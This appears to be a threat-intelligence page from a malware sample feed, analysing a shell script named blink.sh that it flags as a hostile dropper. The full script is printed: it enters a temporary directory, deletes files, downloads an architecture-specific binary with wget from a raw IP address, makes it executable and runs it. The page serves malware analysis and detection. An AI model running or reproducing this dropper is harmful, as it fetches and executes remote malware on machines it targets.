Hostile 100% Download

blink.sh

Dropper executes raw-IP payload

Raw-IP wget world-writable fetch executeRaw IP literal download chmod local execute
SHA-256550b9639758c8f5acd624f88534bec8f5c216499641205df3684966676415d65
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeO(C₃)H₄(Cm₆F₅OsPo₃)

Evidence

Raw IP literal download chmod local execute lines 1–11
1cd /tmp || cd /root || cd /home
2
3mkdir /.n
4cd /.n
5
6rm *
7
8wget http://130.12.182.77/main.$(uname -m)
9chmod +x main.$(uname -m) || chmod 777 main.$(uname -m)
10
11./main.$(uname -m) BLINK

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.